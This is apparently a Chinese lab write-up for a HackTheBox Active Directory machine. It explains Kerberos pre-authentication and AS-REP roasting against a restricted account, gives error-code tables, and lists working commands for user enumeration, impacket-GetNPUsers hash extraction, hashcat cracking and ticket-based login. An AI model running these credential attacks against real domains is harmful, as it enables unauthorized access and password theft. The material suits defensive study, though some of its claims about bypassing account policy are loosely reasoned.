Kerberos认证与ASREP Roast原理(关于绕过 账户限制方法)

0x00 账户限制绕过方法

0x02 Kerberos 认证与 ASREP Roast 原理

1. NTLM vs Kerberos 的账户限制差异

AD 中可以给账户施加多种限制(禁用、锁定、登录时段、登录工作站限制等),但不同认证协议对这些限制的处理方式不同:

限制类型NTLM 表现Kerberos 表现
账户禁用 (ACCOUNTDISABLE)STATUS_ACCOUNT_DISABLEDKRB5KDC_ERR_CLIENT_REVOKED
账户锁定 (LOCKOUT)STATUS_ACCOUNT_LOCKED_OUTKRB5KDC_ERR_CLIENT_REVOKED
登录时间限制 (Logon Hours)STATUS_ACCOUNT_RESTRICTIONKRB5KDC_ERR_ATTRIBUTE / 52f (LDAP)
登录工作站限制STATUS_ACCOUNT_RESTRICTION同上
密码过期STATUS_PASSWORD_MUST_CHANGEKRB5KDC_ERR_KEY_EXPIRED
未启用预认证无影响AS-REP 可直接获取

1.1 关键结论

  • NTLM 和 Kerberos 都会受账户策略限制
  • 但 Kerberos 有一个例外:当账户开启了”不要求 Kerberos 预认证”(DONT_REQ_PREAUTH) 时,AS-REP 阶段可以绕过密码验证

2. Kerberos 预认证机制

2.1 正常认证流程(AS-REQ + AS-REP)

[1] AS-REQ ─────── 客户端 → KDC
    客户端用自己的 NTLM hash 加密时间戳发送(预认证数据 PA-ENC-TIMESTAMP)
[2] KDC 校验预认证数据
    用该用户的 hash 解密时间戳 → 检查是否在 5 分钟内
    如果解密成功 → 用户确实知道密码
[3] KDC 检查账户策略
    账号禁用?→ 拒绝
    登录时段?→ 拒绝
    ...
[4] AS-REP ─────── KDC → 客户端
    返回 TGT(用用户 hash 加密)
    客户端用自己的 hash 解密 TGT 拿到会话密钥

2.2 无需预认证(ASREP Roast)

[1] AS-REQ ─────── 客户端 → KDC
    不携带预认证数据(PA-PAC-REQUEST ≠ PA-ENC-TIMESTAMP)
[2] KDC 检查账户属性
    如果 DONT_REQ_PREAUTH 未设置 → 返回 KDC_ERR_PREAUTH_REQUIRED
    如果 DONT_REQ_PREAUTH 已设置  → ✅ 直接返回 AS-REP
[3] AS-REP ─────── KDC → 客户端
    返回 TGT(用用户 hash 加密)
[4] 攻击者拿到加密后的 TGT
    无需知道密码 → 离线爆破 TGT 中的加密数据

2.3 为什么能绕过账户限制

正常路径ASREP Roast 路径
客户端发 AS-REQ + 预认证客户端发 AS-REQ(无预认证)
KDC 检查预认证 → 通过KDC 跳过预认证检查
KDC 检查账户策略 → 受限 → 拒绝KDC 检查 DONT_REQ_PREAUTH → ✅
流程到此结束KDC 直接返回 TGT
✗ 拿不到任何东西✓ 拿到加密 TGT(可离线爆破)

本质:一旦用户设置了不要求预认证,KDC 会在检查其他策略之前先满足 AS-REQ 并返回 TGT。这是协议设计层面的”后门”。

3. 限制在不同阶段的表现

3.1 NTLM 认证

# 1. SMB 登录检测 — NTLM 路径
nxc smb absolute.htb -u D.Klay -p 'Darkmoonsky248girl'

# 结果:STATUS_ACCOUNT_RESTRICTION
# 说明:NTLM 成功验证了密码,但在授权阶段被卡

3.2 Kerberos – GetUserSPNs (需要预认证)

# 2. Kerberos SPN 查询 — 需要预认证
impacket-GetUserSPNs absolute.htb/D.Klay:'Darkmoonsky248girl' -dc-ip 10.129.232.60

# 结果:data 52f (LdapErr: AcceptSecurityContext error)
# 说明:LDAP 绑定阶段就拒绝了,因为预认证无法通过

3.3 Kerberos – GetNPUsers (ASREP Roast)

# 3. ASREP Roast — 不需要预认证 ✅
impacket-GetNPUsers absolute.htb/D.Klay -no-pass -dc-ip 10.129.232.60

# 结果:成功拿到 TGT hash
# 说明:绕过了预认证 → 绕过了账户策略检查

4. 错误码速查

Kerberos 错误码含义常见原因
KDC_ERR_PREAUTH_REQUIRED需要预认证普通账户无 DONT_REQ_PREAUTH
KRB5KDC_ERR_ATTRIBUTE属性错误账户有登录限制
KRB5KDC_ERR_CLIENT_REVOKED客户端被撤销账号禁用/锁定
KRB5KDC_ERR_KEY_EXPIRED密钥过期密码过期
data 52f (ImpDef/LDAP)绑定拒绝账户受限(同 Kerberos ATTRIBUTE)

5. 完整的逻辑链

┌─────────────────────────────────────────────────────┐
│ D.Klay 账户属性                                       │
├─────────────────────────────────────────────────────┤
│ ✔ DONT_REQ_PREAUTH = True  (不要求预认证)             │
│ ❌ 其他登录限制: True      (登录受限)                 │
│ ✔ 密码: Darkmoonsky248girl(已知有效)                 │
└──────────────────────────┬──────────────────────────┘
                           │
            ┌──────────────┼──────────────┐
            ▼              ▼              ▼
       NTLM 登录     Kerberos 登录    ASREP Roast
       STATUS_ACCOUNT   data 52f    ✅ 拿到 TGT hash
       _RESTRICTION      被拦       离线爆破密码

6. 实操命令参考

枚举目标用户

# 列出域用户
nxc smb <dc-ip> -u <user> -p <pass> --users

# LDAP 查询
ldapsearch -x -H ldap://<dc-ip> -D "cn=<user>,cn=Users,dc=<domain>,dc=<tld>" -w <pass> -b "dc=<domain>,dc=<tld>"

ASREP Roast

# 单个用户
impacket-GetNPUsers <domain>/<user> -no-pass -dc-ip <dc-ip>

# 基于用户列表
impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <dc-ip> -format hashcat

# 枚举所有可能用户
nxc ldap <dc-ip> -u <user> -p <pass> --asreproast output.txt

爆破

hashcat -m 18200 hash.txt rockyou.txt

7. krb5.conf 配置参考

Kerberos 客户端工具(nxcimpacketldapsearch 等)依赖 /etc/krb5.conf 配置来定位 KDC 和 Realm。

7.1 标准模版

# /etc/krb5.conf

[libdefaults]

default_realm = ABSOLUTE.HTB dns_lookup_kdc = true dns_lookup_realm = false ticket_lifetime = 24h forwardable = true udp_preference_limit = 0 # 禁用 UDP,仅用 TCP(更稳定)

[realms]

ABSOLUTE.HTB = { kdc = dc.absolute.htb admin_server = dc.absolute.htb }

[domain_realm]

.absolute.htb = ABSOLUTE.HTB absolute.htb = ABSOLUTE.HTB

7.2 字段说明

字段作用备注
default_realm默认 Realm 名称全大写域名
dns_lookup_kdc通过 DNS SRV 记录自动发现 KDC如果 DC 没有 SRV 记录,改为 false 手动指定
kdcKDC 服务器地址可用 IP 或域名
admin_serverKerberos 管理服务地址通常同 KDC
udp_preference_limit = 0强制走 TCP避免大包被 UDP 截断导致 KRB_ERR_RESPONSE_TOO_BIG

7.3 HTB 靶机常见问题排查

# 1. 检查 hosts 解析
nslookup dc.absolute.htb 10.129.232.60
# 或
dig @10.129.232.60 dc.absolute.htb

# 2. 如果 DNS 没有 SRV 记录,手动写 hosts
echo "10.129.232.60 dc.absolute.htb absolute.htb" | sudo tee -a /etc/hosts

# 3. 时间同步(Kerberos 时间窗口 5 分钟)
sudo ntpdate 10.129.232.60
# 或
sudo timedatectl set-ntp off && sudo ntpdate -b 10.129.232.60

# 4. 验证配置
erbklist  # 查看当前票据缓存(空 = 正常)
kinit D.Klay@ABSOLUTE.HTB  # 测试能否申请 TGT

7.4 使用票据认证的完整流程

# 1. 配置 krb5.conf
# 2. 获取 TGT
impacket-getTGT absolute.htb/D.Klay:'Darkmoonsky248girl' -dc-ip 10.129.232.60

# 3. 导出票据缓存
# getTGT 会生成 D.Klay.ccache
# 也可以用 kinit 生成默认缓存
kinit D.Klay@ABSOLUTE.HTB <<< 'Darkmoonsky248girl'

# 4. 使用票据
# 方式 A:指定 ccache 文件
export KRB5CCNAME=./D.Klay.ccache
nxc smb dc.absolute.htb -k --shares

# 方式 B:使用默认缓存(/tmp/krb5cc_*)
kinit D.Klay@ABSOLUTE.HTB
nxc smb dc.absolute.htb -k --shares

8. 相关笔记

文末附加内容

评论

本文评论已关闭
上一篇
下一篇